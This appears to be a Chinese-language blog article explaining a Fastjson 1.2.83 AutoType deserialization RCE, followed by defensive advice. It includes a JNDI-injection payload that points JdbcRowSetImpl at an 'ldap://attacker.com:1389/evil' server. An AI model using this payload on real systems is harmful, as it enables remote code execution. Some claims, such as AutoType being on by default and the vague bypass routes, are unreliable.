发布时间:2026/7/25 0:21:45
AutoType机制,允许在JSON中通过@type字段指定具体的类名。例如:json{"@type":"com.example.User","name":"Alice"}当Fastjson解析这类JSON时,会自动加载并实例化com.example.User类。这种设计虽然便利,但也带来了安全隐患:攻击者可以通过@type指定任意类,如果该类存在可利用的构造方法、setter方法或getter方法,就可能触发恶意代码执行。1.2.83版本修复了之前版本的黑名单绕过问题,但攻击者发现可以通过某些特殊类(如com.alibaba.fastjson.JSONObject)或利用Java的某些特性(如java.lang.Exception)重新触发漏洞。核心漏洞点在于:Fastjson在处理某些类的反序列化时,没有充分校验类是否安全,导致攻击者可以构造恶意JSON来触发RCE。## 攻击场景:从JSON到命令执行假设目标系统使用了Fastjson 1.2.83,并且没有关闭AutoType(默认开启)。攻击者可以构造一个包含恶意@type的JSON字符串,利用Java的某些库类(如java.lang.Runtime或常见的第三方库)来实现命令执行。### 示例1:利用java.lang.Runtime的RCE尝试(失败演示)javaimport com.alibaba.fastjson.JSON;public class ExploitDemo { public static void main(String[] args) { // 尝试直接利用Runtime执行命令(Fastjson会阻止这种直接调用) String json = "{\"@type\":\"java.lang.Runtime\",\"exec\":\"calc\"}"; try { Object obj = JSON.parseObject(json); System.out.println("解析成功:" + obj); } catch (Exception e) { System.out.println("解析失败:" + e.getMessage()); // 输出:parse error, 因为Runtime类没有无参构造方法 } }}说明:直接使用java.lang.Runtime会被Fastjson拒绝,因为该类没有无参构造方法,且Fastjson内部有安全校验。攻击者需要更迂回的方式。### 示例2:利用com.sun.rowset.JdbcRowSetImpl实现JNDI注入(经典利用链)javaimport com.alibaba.fastjson.JSON;public class JndiExploit { public static void main(String[] args) { // 恶意JSON,利用JdbcRowSetImpl的dataSourceName属性触发JNDI查询 String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com:1389/evil\",\"autoCommit\":true}"; try { JSON.parseObject(json); System.out.println("JNDI查询已触发!"); } catch (Exception e) { System.out.println("漏洞利用失败:" + e.getMessage()); } }}原理:com.sun.rowset.JdbcRowSetImpl类在设置autoCommit=true时,会调用connect()方法,该方法内部会使用dataSourceName属性进行JNDI查询。攻击者可以搭建一个恶意的LDAP或RMI服务器,返回一个包含恶意代码的远程类,从而实现RCE。在1.2.83版本中,虽然com.sun.rowset.JdbcRowSetImpl被加入了黑名单,但攻击者可能通过其他类(如com.alibaba.fastjson.JSONObject的嵌套调用)来绕过黑名单限制。例如,利用java.lang.Exception的setMessage方法间接调用危险操作。## 防御之道:如何避免成为受害者### 1. 关闭AutoType(最直接的方法)在解析JSON前,全局关闭AutoType:javaParserConfig.getGlobalInstance().setAutoTypeSupport(false);或者通过JVM参数:-Dfastjson.parser.autoTypeSupport=false。### 2. 使用白名单机制如果必须使用AutoType,应设置严格的白名单,只允许特定包名下的类:javaParserConfig.getGlobalInstance().addAccept("com.example.safe.*");### 3. 升级到安全版本阿里已发布1.2.83的后续补丁版本(如1.2.84),建议升级到最新版。同时关注官方安全公告。### 4. 代码审查与安全测试定期审查代码中是否使用了parseObject或parse方法,并在开发环境模拟攻击测试。## 总结Fastjson 1.2.83 RCE漏洞是JSON反序列化安全问题的典型代表。虽然阿里团队不断修补漏洞,但攻击者总能找到新的绕过方式。作为开发者,我们应始终秉持“安全第一”的原则:能关闭AutoType就关闭,不能关闭就设置白名单,并且及时升级版本。记住,任何动态加载类的特性都可能是双刃剑——便利背后隐藏着风险。技术文章的核心价值在于揭示原理,而非鼓励攻击。理解漏洞的运作方式,才能构建更安全的系统。希望本文能帮助你在享受Fastjson便利的同时,也时刻绷紧安全这根弦。